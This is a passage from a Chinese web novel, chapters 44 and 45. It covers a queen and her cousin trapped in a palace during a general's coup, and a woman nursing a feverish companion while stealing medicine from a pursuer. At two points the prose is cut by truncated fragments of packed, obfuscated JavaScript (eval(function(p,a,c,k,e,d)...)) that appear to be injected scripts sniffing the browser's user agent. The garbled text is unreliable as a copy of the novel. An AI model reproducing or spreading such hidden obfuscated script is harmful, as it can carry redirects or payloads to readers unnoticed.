陆随心抬起头,看到阿柒靠在笼子上,脸上青红白相交,额上的汗涔涔落下,嘴唇紧闭,别说回话了,她以为他这是要去陪外面的老板到地底走一遭了。 “阿柒!” 44. 顾瑶(七) 这一次进宫,顾瑶的步子走得更稳。 尽管此次迎送她和莫楚瑛的人换了一批,大白日里点的灯笼被五六尺长的枪矛替代,迂回长廊里迫于礼节的静默成了死寂,贴服在一边的宫女们不再夹道欢迎,而是抓着自己的手指紧紧闭住了嘴。 这已经不是一座宫殿,而是一片弥漫着死气的待宰之地。 短短一日,地覆天翻。 顾瑶鞋履轻踩在硬冷的青砖上,掌心相叠贴附在身前,仿佛一切如昨日,只有她的视线,在望向前方的时候,透露出了不同以往的肃然与戒备。 “停!”前方路口站出一个全身甲胄的军官,用词恭敬,站得却比他手里的长枪还要直挺,往右边比了个僵硬的手势,“出云使大人,宗将军有请。” 走在顾瑶前面的莫楚瑛抬头瞥他一眼,一句不言,脚下步子一下未停,好像他本就是要往右转去一般。 顾瑶跟着转弯的时候却被那军官横生出的手臂拦住,“请留步,宗将军只请了出云使大人。” 一口一个宗将军。 他倒是给自己寻了个赫赫威风的称呼。 明明林志崔在世的时候,他就假惺惺卸下了那身军装,林志崔要他把沂山军解散,他却只肯嘴上答应。将军他是不当了,可这群兄弟们不肯离开山头,他也不能强人所难。 只是给了年老体衰的林志崔一点薄面罢了。 当时是谁帮了他一把?可不就是顾衡之,在两头恶虎中间斡旋着互说好话。这边,“司政的担忧有道理,如今永京扩军有成,沂山军若不精简,恐怕惹定国顾忌。”那边,“宗老说得也有道理,沂山兄弟也是兄弟,不可寒了他们的心。” 一套太极拳打下去,最后不了了之。 谁能料到,林志崔两腿一蹬才多久,这宗同伦就自己把将军的名号又套头上了。 顾瑶一哂,“那宗将军可有交待,如何处置我这出云使夫人?” 军官并没有听出话里的讽刺,如实答道,“他吩咐了,要我们带你去王后那儿。” 顾瑶眼一闪。 莫楚瑛转过身来握了握她的手,“阿瑶,我稍后便去找你。” 他们俩都知道,这事只是说起来容易。可望进彼此的眼光那么长,谁都不愿意不相信这句话。 顾瑶回握了那只总是冰凉瘦削的手,点了点头。 和莫楚瑛分开后,顾瑶首先想到的竟然不是表姊陶玉桑和小世子在此时此刻的惶惶无依,而是藏香阁的凤娘与老达。 那个蛮横的胡须汉被老达刺伤后,滚在地上吱哇乱叫,血流了一地,站在门外本欲充当眼瞎耳聋者的小兵卒便慌了神,叫来了街上的大批人马,要把老达就地正法。凤娘扑通一声跪下去,把脑袋磕得通红,轮着圈地扯每个人的衣角求情,即便如此,她都没有喊出莫楚瑛他们的名字。 顾瑶自然不能放任不管,要富林亮了他们的身份。 这种时候,顾家的名号已不起作用,出云使才是他们真正要找的人。莫楚瑛不可能为一个云国的龟奴委身求情,却可以斥责云国的人对自己的家奴大为不敬。 富林添油加醋地哭喊着自己不知哪里得罪了那位军爷,竟差点要被他打死,幸而得了这位老达兄台相救免于一难。 从疼痛中缓过来的胡须汉叫嚣着想把故事翻过来,被周围人捂着嘴抬了出去。随后,便是他们被“毕恭毕敬”地“请”进了宫。 顾瑶想起的是他们离开前,躺在地上的老达和蹲在一旁的凤娘向自己投来的目光。好像是在对萍水相逢的一段相识致以永别。 对,又是永别。 母妃死去时的脸就在眼前。 “阿瑶!” 那真切的惊喜呼声将顾瑶从“永别”中震出,表姊陶玉桑愁绪万千的面容在见到她的那一刻亮了几分,苍白的五官生出一丝红润。 “阿瑶!你可算来了!”顾瑶的一双手被她紧紧握住。 “表……王后。” 此刻的陶玉桑全不在意她在称呼上的犹豫,只想把这几个时辰积聚在心的恐慌与忙乱尽数倒出,“阿瑶,阿瑶……这回,可真是出大事了。” 顾瑶被晃得整条胳膊都颤了起来,可她只看到表姊头上一根突兀的白丝,好似是在这半天里忽然被染了色的。 “宗同伦……这厮竟想谋权篡位!若不是大王不在宫中,这会儿说不定云国已经落入他手了!”陶玉桑鼻头翕动,又怒又气,“狼子野心!狼子野心!” “表姊,你先莫急。” “不急?宗同伦的兵已经把这宫里团团围住了,我这个王后被困在自己的房间里,半步都出不去,哪还能不急?”陶玉桑甩开顾瑶的手,来回踱步,忽的想起什么,又将身子转回来,眼神犀利,“你没有把大王的下落告诉宗同伦吧?” 顾瑶觉得自己的手被甩错了位,否则怎么带着整个身子都往下一沉。 她闭眼,有些疲惫地摇了摇头,“我自是不会说的。” “好,那就好。”陶玉桑一口气舒了一半,又提起了嗓子,“那出云使呢?你有没有告诉你的夫君?他会不会告诉宗同伦?” 这云国的王后像被看不见的绳子牵住了脑袋,一瞬也消停不下来。 顾瑶止住了嘴里的苦味,上前把她挥舞的手抓住,轻轻拍了拍,看到她眼里略显震惊后平静了下来,才开口道,“表姊,没有人会说的。” “好,就让宗同伦那狗贼满宫满城地翻去!”陶玉桑骂完就泄了气,“可这事,到底只瞒得住一时……对了,你夫君呢?出云使他去哪儿了?” 顾瑶眼一暗,“宗同伦把他叫去了。” “把他叫去了?”陶玉桑一皱眉,手紧紧攥住了顾瑶的腕子,“宗同伦这是何意?” “不知。”顾瑶慢慢摇头,其实她有些推测,可若说出来,除了让表姊更紧张,全无益处,便继续出声宽慰,“无论如何,只要大王还在永京军营,一切就都还有机会。” “可他不知道宫里发生了什么事,万一他一个人单枪匹马地回来了,岂不是反而羊入虎口?”陶玉桑转头看向身后正在自己床榻上酣睡的婴孩,目露悲色,“可怜我儿,路都还不会走就碰上了这事。” 顾瑶倒觉得还好他话也不会说,能避开不少麻烦。 陶玉桑拖着步子走到儿子旁边,望着那浑然不觉的安睡脸庞,困在这让她不知所措的难题里,颓然喟叹,“到底该怎么办啊,阿瑶。” 就像小时候母妃布置的课业来不及完成,陶玉桑也会这样巴巴地望着顾瑶问怎么办。顾瑶总会帮她。无论是那些之乎者也的抄写,还是宫商角徵羽的弹练,因为顾瑶喜欢表姊,她希望表姊能永远陪在身边,和她一起扎马步,一起挨母妃的训,一起洗澡一起睡,一起做一辈子的姊妹。 她总会回答,“没事的,表姊,我们一起,肯定会有办法的。” 可这一次,这句话却不能那么轻易说出来了。 哪来什么万全之策? 顾瑶也看着世子那圆滚滚红扑扑的小脸蛋,觉得他又可爱又可悲,她分不清裹在自己身上的那层薄雾到底是束缚还是保护,便将那些思绪晃去,走上前去,“只要……我们能赶在宗同伦发现之前,通知大王此事。” 陶玉桑像得了天大的喜事,噌一下转过头来,等不及眼抬起来,身子就又萎了下去,“可如今这王宫被封得密不透风,消息要怎么传出去?” 顾瑶张了张嘴,话却还是咽了下去。 阿良的事她说不出口,那只是她死马当活马医的计策,八字的一撇都算不上,说出来,岂不可能叫表姊白高兴一场?她也不能告诉表姊,何止王宫,整座王城都成了鸟都飞不出去的笼子,宗同伦就是那个把整只笼子抓在手上的人。 陶玉桑见顾瑶不说话,胸口一紧,“难不成……我们只能坐以待毙了?” 顾瑶摇头,在陶玉桑旁边的床沿坐下,“不,不是坐以待毙。我们暂且等一等,一定会有机会的。” 这便和没办法一样了。陶玉桑绝望地闭上了眼,“莫不是天要亡我……” 床上的世子突然皱着脸哭了起来,小小的五官都拧在一起,也不知是不想听到自己的娘亲哀怨愁苦,还是天真的要塌了。 陶玉桑一下从那阵绝望里醒来,抱起了孩子,换上了慈眉善目的面孔,极尽温柔地拍着孩子,“喔喔喔,世子莫哭,世子莫哭,娘亲在这呢,莫哭,莫哭。” 可那哭声却毫无停下或变弱的意思,反而越来越响,震得头上的房梁都在抖动。 “奶娘呢?”陶玉桑转身朝里喊着。 没有动静。 “这宫里的人是都死光了吗?这王宫还没改姓呢!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那日早晨,他同我说要私下去一趟永京后,叫来了禁卫首领,说前阵子因为林司政的事,大家许久不得休息,下令将休沐假补下去,若有人想告假省亲,也都准了。”陶玉桑一边回忆着,一边打断了自己的疑虑,“不过这确实也没什么大不了,不过是他体恤下头人罢了。” 昨日从宫门口走到大殿时那不对劲的感受又涌了上来,怪不得宫里的禁卫那般稀稀拉拉。顾瑶心狠狠沉了下去,“可在这关头,确实是有些奇怪。” “是,首领当时也问了,说出云使将至,是不是不太妥当。他说……出云使又不是来闹事的,不必那么多人守着。”说到这儿,陶玉桑有些谨慎地看了一眼顾瑶,画蛇添足般补了一句,“他并不是怠慢的意思。” 他当然不是怠慢的意思。 顾瑶微微抬头,看着那根粗壮如树的横梁,知道它是这间屋子的主心骨,梁断了,这屋子就塌了。梁没动,可她心中的平静,此刻已轰然崩塌。 “阿瑶,阿瑶,你怎么不说话?莫不是因为没叫那些禁卫留着欢迎你夫君,你便生气了?” 顾瑶知道自己接下来的猜疑会惹得眼前人不高兴,她深吸了半口气,“表姊,你觉不觉得这就好像是他在大开宫门,迎着宗同伦来?” “放肆!”陶玉桑眉梢眼角统统竖起,从床上弹起,立得直直的,指着顾瑶的鼻子,“你……顾瑶,你太放肆了!”想要回头去叫人,又想起早没人可叫,一转一回脚下一踉跄,竟就摔到了地上,嘴里的话越来越急,“顾瑶你简直胡说八道!我看你是疯了!你……你已经心向着定国了是不是?你忘了你到底是谁了是不是?” 顾瑶看着左右难支无处可逃的表姊,竟在自己身上嗅到了亡故母妃的影子。 不苟言笑的正经,不含悲悯的俯视。 她看她们,总像是一个高高在上的大神。 “别哭。”“别笑。”“别胡闹。” 这一日顾瑶才知道,那不是轻蔑也不是冷漠,甚至不是大人的傲慢,而是超脱了所有喜乐,唯望己心的镇定。 母妃永远清楚自己在做什么,说什么。 她也知道。 “表姊,这是顾衡之布的局。” 45. 随心(八) “阿柒,你怎么了?”陆随心想去扶他,擦过他的手,触到比刚烧好的火炉还滚烫的热,一惊,“是犯什么病了吗?” 阿柒人已滑到地上,全身抽搐,嘴皮抖动,整个头像被浸泡在水里,脸白得和死人无异,幽魂似地呓语了几个字,“我……没……没事。” 陆随心见他能说话了,心里的石头一落,一转念又真想一掌打死他算了,不帮着她一起救自己,还在那张口胡说,这个样子要是称得上没事,她就算是成仙了!想着不能和年纪小的一般见识,扯过他一条胳膊架到自己肩上,“我扶你去对面的客栈躺下,再找个大夫来。” “不……不必……” 陆随心只见过一挑六毫发无损的他、掐起自己脖子和鸡脖子似的他,哪见过这样羸弱还不服软的他,跟个孩子似的,气急了,“那怎么?你是想躺在这儿等死?那我呢?你说是干脆把你扔在这儿,等你死了悔恨一辈子?还是干坐在这儿,等你死了找人来把你埋了?以后逢年过节给你上柱香好不好?” 他翕动的嘴唇没了动静,虚弱的眼神在恍惚中试图锁住她。 陆随心身上莫名一热。 但他不说话,不说话就是默许了。 她赶紧想将人扛起来,不料阿柒看起来高高瘦瘦,压下来的重量却着实惊人,把她满胸腔的气全给挤走了,憋红了脸,一手拉着他的右臂,一手扶住他的左腰,“你也使点劲,不然到晚上我们都走不回去。” 要不是外屋躺着具尸体,陆随心定是要把大夫直接叫这儿来的。 阿柒的抽搐缓了些,半眯着眼看着肩窝下的脑袋绷得直直的,立刻想把手抽回,“我还是……” “闭嘴!别耽误我使劲!”陆随心扣紧了他的手臂,扶着他一瘸一拐,好歹走到了客栈门口。 这一次脚步太慢,店家的招呼她是不得不回了。 “客官,你回来了。” “是,回来了。”陆随心把住绵软的阿柒,从他胳膊下面探出脑袋,“店家,能不能帮我请个大夫来?我……我弟弟生病了。” 店家在阿柒脸上看了两圈,“这是你弟弟啊?方才他来过店里,问你在哪儿,一般我们是不会随意透露客人行踪的,但这一位我看他着实着急,又比另一位面善,恰好我早些时候看见你出门,我就往对面一指……” 陆随心架着滚烫无力的阿柒,抬起一只手来阻止了对面的唾沫横飞,“店家,我弟弟病情危急,还请你快快去帮我请个大夫吧。” “诶,行,行,我这就去。” “等等。”陆随心突然想到什么,叫住他,“你刚刚说我弟弟比另一位面善?是……还有别的人来这儿找过我?” “可不是。”店家又扭过身子来,忙不慌点头,“前一趟你回来还有你出门的时候,我就想叫住你和你说这个事,但你行色匆匆从我眼前风一般走过去了,看都没看我一眼,我……” 那时候哪来得及看他。 陆随心动了动肩背,把阿柒往上挪了点,再一次打断了他的话,“那人是谁你知道吗?” “那我没问啊。”店家一脸无辜地摊了摊手,“不过也是一个男子,岁数和你弟弟看起来也差不多,就是啊……”凑过来压低了声音,“样子凶了些。” 脑袋里一根弦霎时崩了起来,“那人是不是……瞎了一只眼?” “诶,对对对,就是他,瞎了一只眼。怎么,那位您也认识?” 赤霄。 他追来了? 这下倒好,身边的狼蔫了半条命,后面的瞎眼虎还伏在草丛里等着要跳起来吃人。 陆随心一阵糟乱,“他人去哪儿了?” 店家指了指楼上,撇着嘴神秘兮兮道,“住下了。开了间最好的天字一号房。” “住下了?!”陆随心想拖着阿柒立刻往外跑,肩上却越来越重,别说逃了,怕是连这条街都走不出去。压着心底那股乱麻,强作无事地和店家打商量,“我弟弟这样不方便,你帮我把房间改到楼下行不行?” “这小事一桩。” “那人若再来问你,你可千万别告诉他我住哪儿。” “这也好说,只是你们……到底是什么关系啊?” 陆随心见店家一脸的好奇心难耐,心头一转,露出三分惧意,“不瞒你,那是我夫君,一天到晚就爱打人,天天追着我打,我就从家里跑出来了。”把那没了甲的手指头伸过去,又把之前掌心里的刀疤也翻出来,“这、这,都是他干的。” “他……对你做什么了……”陆随心肩上半昏迷的脑袋忽抬起半寸,话音渐轻,又垂了下去。 “嘶……这也太不是人了。”店家吸了一口气,忙把眼从她那手指上移开,从柜台取了一把钥匙,交到她手里,“客官你放心,我绝不多说一个字。我这就去给你请大夫。” 陆随心并不指望大夫能看好阿柒。 虽说没学过什么医术,但好歹祖上是当御医的,有些东西从小还是耳濡目染了些。 她清楚阿柒得的不是病。 把人扶到床边的时候,陆随心全身都差不多被汗水浸透了,刚想将肩上的阿柒推下去,想起那五十鞭,又不敢动了,凑过去轻轻问,“阿柒,趴着?” 他迷迷糊糊地点了头,自己挪着俯身趴了下去,“姑娘……” “还姑娘姑娘,你该称我一声阿姊了吧?” “阿姊姑娘……” 他倒是挺从善如流,就是这不明不白的叫法,叫人有些哭笑不得。 既认定了他是多年未见的柳三钱,那点男女之防自然成了虚设,陆随心弯腰想去解他衣服,手一伸过去却被他抓了个正着,没什么力道,一甩就能甩开的那种虚握,正是因为甩得开,她倒不忍心了,慢声解释,“我只是想看看你的伤口。” 他却将她的手越握越紧,“方才你说,他打你了?是……赤霄打的你?” 陆随心见他气若游丝,还强撑着要关心自己,胸口一软,“是我瞎编了唬那个店家的。” 阿柒不肯罢休,握着她的手就要找那伤口,这时身上的抽搐又起,额上刚止的汗如瀑暴下,急痛之下那指尖的力道便肆无忌惮地摁了下去,疼得陆随心咬死了下唇才没叫出口。 也就那么两三下,缓过劲的阿柒立刻把她的手放开,惨白的脸说着乱七八糟的话,“我……是我没护住姑娘,不,阿姊姑娘。” 陆随心双眼黯了下去。 她不愿听他说这些没来由的话,明明是她作孽在先,将他推入了无影剑的火坑里,害了他这一生,再听他满嘴的歉意,岂不才真要折煞了她? 此时若能用她的命换他安康,她倒觉得这是世上最划算的买卖。 “唉。”陆随心有了计较,摸了摸他湿漉漉的头顶,肌肤触到汗水,闻到一股灼热,搅起的心疼赫然颤抖。 为什么?是因为岁月相隔将他们变为了两个陌生人吗? 为什么对他和对陆少疾不能一样? 陆随心收了胡乱的心思,像对小孩子似的哄着,“阿柒,你睡一会儿吧,等等大夫来了,让他给你扎几针,缓上一缓,就不疼了,你睡吧,睡吧。” 阿柒许是忍痛忍了太久,浑身的气力抽尽,竟真的在她抚了两下后昏睡了过去。 陆随心低下头,把耳朵凑到他鼻子边,听到那沉稳匀称的呼吸,悄摸摸在他身上翻了翻,果然有把短刀,藏在袖子里离开了房间,一开门,就撞上了带着大夫来的店家。 “客官,大夫给你请来了!”店家扯开了嘴,将身后的大夫拉上来,“就是他,我们永京最好的医馆荣仁堂的大夫。” 陆随心点点头,“多谢!大夫,您赶紧进去替我弟弟看看吧。” 大夫提着药箱就进去了。 店家看她没有跟着回去的意思,忙问,“诶,客官,你这是又要去哪儿啊?” “我替我弟弟去置办些衣物。”陆随心说着,又回过头来看了看店家,“我弟弟便先劳烦二位了。” “那你放心!我定替你好好照顾着!”店家一听,拍了拍胸脯,也跟着大夫进了房间。 陆随心琢磨了一下,想着阿柒这般样子,该是没力气伤人,就走了。 她当然不是真的要去给阿柒买衣服,生死关头,衣服哪排得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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怕动静太大,只好放弃,走到转角的回廊那儿一推,窗户竟开了,做贼般踮脚爬了进去,匕首则紧紧握在掌心里——大不了,再找机会戳瞎他另一只眼。 她还是得了些运势。 天字号房大得很,那床在里间,中间又是帘子又是屏风,隔开了一方很远的天地,即使她进来时发出了一些小动静,也不足为惧。 外间的桌子摆在正中央,正对门的一个圆凳却歪了。水壶旁只有一个杯子没有倒扣,杯底剩了一口残水,桌上地上落着几滴茶渍,看起来很像是路途奔波的人渴极了累极了,冲进屋子就朝茶壶去了。 陆随心收着力屏住气,往床的方向潜行,一边向福圣王虔诚地祈祷,希望进客栈的赤霄睡前会有脱衣服的习惯。 她猜错了。 何止不脱衣服,那把割肉的短刀就被他握在手里,那只中过刀的眼上缠着破布,仰着脸,悄无声息地躺着。 陆随心知道他睡得很沉。 否则这会儿自己已经没命了。 但若现在站到床边,往人怀里伸手,那别说是赤霄了,就算躺着的是她陆随心,也非被弄醒不可。 她一时没了辙,进退维艰。 许是福圣王念在她祖上尽心尽力地伺候过他老人家,祈祷应验了。 床上的人翻了个身,怀里的小瓶子一溜烟从衣领的缝里滑了出来,静静地躺在了团花锦簇的被单上。 大约是他睡前刚吃过药,没藏在太深的位置。 陆随心默念了几声“福圣王保佑”,手就探了过去。 “柳盼儿……” 听到这声的时候,陆随心整个身子都烧了起来,火辣辣得疼,又忽然跌进了百丈深的冰渊,冻得一动不敢动,好半晌才想起来另一只手上还攥着保命的刀,刚要举起来才意识到,怎么没后半句了? 歪着头一看,床上的人依旧好生睡着。 这是在说梦话? 喊她名字作甚? 陆随心把瓶子拿到手里,倒了两颗小药丸出来,正准备放回原位的时候,又有声音传来,“柳盼儿……” 她吓得把瓶子收回了胸前。 腿不自觉开始往门边退。 “柳盼儿……杀……” 陆随心不敢呼吸,她只好把自己变成没有生命的木偶,木偶是不会感到害怕的,木偶的腿被无形的线牵着,木偶往唯一的出口走去。 出了门,才重又变回自己,看着手里的刀和药瓶,心里只有一个念头连绵长响——为什么刚刚不一刀刺进他胸口?